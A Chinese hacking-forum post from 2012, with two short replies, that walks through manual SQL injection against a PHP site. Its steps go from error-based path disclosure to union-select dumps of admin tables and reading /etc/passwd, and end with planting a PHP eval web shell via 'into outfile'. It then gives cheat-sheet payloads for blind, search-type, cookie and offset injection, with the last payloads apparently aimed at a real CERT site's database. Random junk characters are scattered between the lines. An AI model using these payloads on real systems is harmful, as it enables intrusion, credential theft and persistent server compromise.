中国网络渗透测试联盟
标题:
手工注入拿下一站
[打印本页]
作者:
admin
时间:
2012-9-23 14:47
标题:
手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
# S$ E* z5 D8 ] g$ I; H/ w& ` s
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
- k3 O6 s- D# t, H& f
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
+ p. o* w) t2 T
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
/ N5 n D! T, [7 ]- M& s: u
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
' c" Z2 k, J: I8 @" ?. [$ L( ]
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
, @6 V' C; W" U8 l9 a& i) a* F
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
7 l: D" Q0 T8 B* ?
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
M# r+ j& y0 @- V
( a" _ K; d! W2 A
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
, {: D: b" {8 D! N+ m! h' w
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
' p* [' F$ Z; @2 G1 u
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
' z9 f8 ^3 x5 J7 X5 k
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
" n. r8 b- M0 `3 e- b1 q% S
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
* A. o# D6 F0 V& ~% F
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
8 }7 S2 A2 L2 s- p
我就用的是第二个思路,
1 F3 S ?+ b, G% M- X4 y3 S$ \. {
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
* D n4 \# [0 B4 u. l$ ?
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
. Y$ n+ }, R3 P2 F& f* R
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
, m; i( x0 }2 O5 {; f3 b$ U1 ? }+ E! h
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
( E2 _* y3 A9 _4 z% x; `, B7 a5 U
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
8 g( u: Z R: g+ v
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
6 C" [8 N, L9 T5 p2 j4 t& H& Y0 J
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
/ l: _# s2 ^ ]- t- n
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
M$ p% ^% a% e4 S; L( S5 f
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
* B' ?8 n- ]4 U6 M2 g
下面是一些很普遍注入方式资料:
% u7 @8 L5 C+ f+ X
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
; J% L5 T/ X5 N
拆半法
+ d6 p7 j. D6 r3 v0 N3 N
######################################
9 D0 ~" ~4 c, z. j! q
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
* o9 H0 N1 @4 a/ r( t
and exists (select * from admin)
7 a# b: M& l$ }0 N' Q4 T
and exists(select id from admin)
( o3 ?! I' k2 `5 ^9 J
and exists(select id from admin where id=1)
& k6 F* h# g2 v
and exists(select id from admin where id>1)
- {/ J1 y5 O0 g( ^
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
! D8 X; D+ z$ A2 I r% h0 P
and exists (select username from admin)
4 _/ P3 g6 Y+ ?4 j, a& Z/ h. A o- g
and exists (select password from admin)
" w! h/ q9 g5 m1 U# ^* j& ~+ } f
and exists (select id from admin where len(username)<10 and id=1)
' k. Y5 ^; t K- P$ H
and exists (select id from admin where len(username)>5 and id=1)
, Z/ |- |0 |* ?8 i$ r* s/ |4 {4 l
and exists (select id from admin where len(username)=6 and id=1)
. |. K7 i& w+ r7 ~+ u
and exists (select id from admin where len(password)<10 and id=1)
" s( x9 ~/ i- A5 @% s( {) R0 p
and exists (select id from admin where len(password)>5 and id=1)
& c/ ~+ _# j2 ^5 s: C
and exists (select id from admin where len(password)=7 and id=1)
, s6 k8 s8 ~8 P' X3 q
and (select top 1 asc(mid(username,1,1)) from admin)=97
( s4 r; W2 y# K3 o; O
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
3 Y6 G. D- n5 c, H3 r- h" D: O, @
猜第二位把username,1,1改成username,2,1就可以了。
3 m5 \4 t- A% V, N g
猜密码把username改成password就OK了
5 g7 [( P9 y/ d: n* G
##################################################
! Y3 k1 n. ^! \3 V U& ~
搜索型注入
7 k5 o; N; R+ K: n$ K
##################################
) a( c) y5 w. k% w3 N4 V
%' and 1=1 and '%'='
! d+ r8 U( f+ G+ D
%' and exists (select * from admin) and '%'='
4 a' W: A: g; {4 G3 ?' O# E5 m
%' and exists(select id from admin where id=1) and '%'='
9 [8 i+ ]1 ^3 U% \& Q
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
0 _0 h6 F2 @* B& C& @8 C
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
% F+ X; ]9 t [% j) e
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
w. U8 E2 A! _/ G
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
" n) X8 O' T$ [# Q% l4 D" H+ _
对于MSSQL数据库,后面可以吧 and '%'='换成--
* a( m% ]1 W( I; H$ c# v
还有一点搜索型注入也可以使用union语句。
- F6 a7 n7 {; q% d6 f+ a4 q2 @
########################################################
9 j! V! S$ f. a+ k
联合查询。
6 {- S# ^: E7 o2 a! I' F
#####################################
- P7 p1 p3 o$ A' N0 Z3 a
order by 10
# L* `- z( t7 w* H& s
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
6 x' b# N& k+ L5 K
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
5 O* L8 L7 Z1 G+ F# Z3 Q6 {
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
2 C8 S# I7 K5 z# ^
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
7 S& r( B; ~6 J9 |. y5 Z
###################################
) ^" j7 r' a2 a: [
cookie注入
+ T/ q2 } r0 H/ ]+ s6 ~. ~1 R
###############################
# C- d! Z; L! ?+ P
http://www.******.com/shownews.asp?id=127
; r. m6 |( A/ j- h% E! P
http://www.******.com/shownews.asp
$ r1 \ R: [" F- p1 {8 b8 a
alert(="id="+escape("127"));
% h. [% _ {$ E+ d1 W! A6 S
alert(="id="+escape("127 and 1=1"));
( J [& n0 f. |
alert(="id="+escape("127 order by 10"));
7 O1 T; i8 p9 m' X* b* H
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
% y$ B& P( G1 D3 m6 |
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
; q+ S' ~) Q* i: e$ M, U
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
% C7 U9 U: @ e0 V" n
###################################
9 h2 F, z$ e! B3 d; {' g- G! X3 [
偏移注入
* L$ E% E8 p* F. p
###########################################################
; i9 M5 J* e1 A4 e h
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
9 p' Y& k. D% D l4 v
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
, B2 O% f, w5 e. h, x' A$ S7 z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
& x& _2 h3 ^& R) w% P
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
# K" R8 l1 J1 R# R
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
' J9 i- s/ O- f! D3 ]& M
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
: S& D; H& x- K. S. i
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
& x0 t+ c) E4 U3 L; }
a.id=d.id)
% F- q* Z0 t# N! u
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
: l0 W. T t7 J; m) s
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
4 E3 A! V0 I) c N& S/ a* F
{; d8 L& ~2 Y \
============================================================================================================
K& @4 G; Q0 {( C8 J9 q9 ^0 v7 r
1.判断版本
+ I2 Y& v0 p* y" x( t k" x
and ord(mid(version(),1,1))>51
; ?& i# L; S2 r4 c; d
返回正常,说明大于4.0版本,支持ounion查询
# p O% A; @0 |) ^
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
0 ?6 M3 j0 V6 `) O
and 2=4 union select 1,2,3,4,5,6,7,8,9--
% R1 E. E6 a1 ^2 Y! W
3.查看数据库版本及当前用户,
f: q6 d' v) y( [# F; \, h
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
2 W# n5 Y# H+ X& H4 u9 {
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
9 {: _$ F; V" t) x1 n W5 a+ z6 A
4.判断有没有写权限
6 \3 N) n8 U* e8 H
and (select count(*) from MySQL.user)>0--
6 A& U3 X: x5 ^/ q
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
* X& |& N% y, `9 a5 i, N7 g0 E
用不了这个命令,就学习土耳其黑客手法,如下
0 q* M7 c+ k, G5 J. }6 Q1 A* m
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
* W3 e4 v3 H2 q
6.爆表,爆库
. Z% _2 A0 n# E
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
6 ^" Z2 q& ^9 T) U7 W, Z1 y
7.爆列名,爆表
' [0 S& _' w2 w
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
. i7 {! q% E9 N
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
8 d, @! K. Y: K: e- o
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
3 e- k% a$ ^1 H) W7 D3 M. I) z* a
9.爆字段内容
# h8 H4 m/ w) ?& U
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
8 ^& B3 T1 ] J7 b
http://www.cert.org.tw/document/
... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者:
xiancda
时间:
2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者:
wuyu
时间:
2012-9-25 18:53
谢谢分享,学习思路啊
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2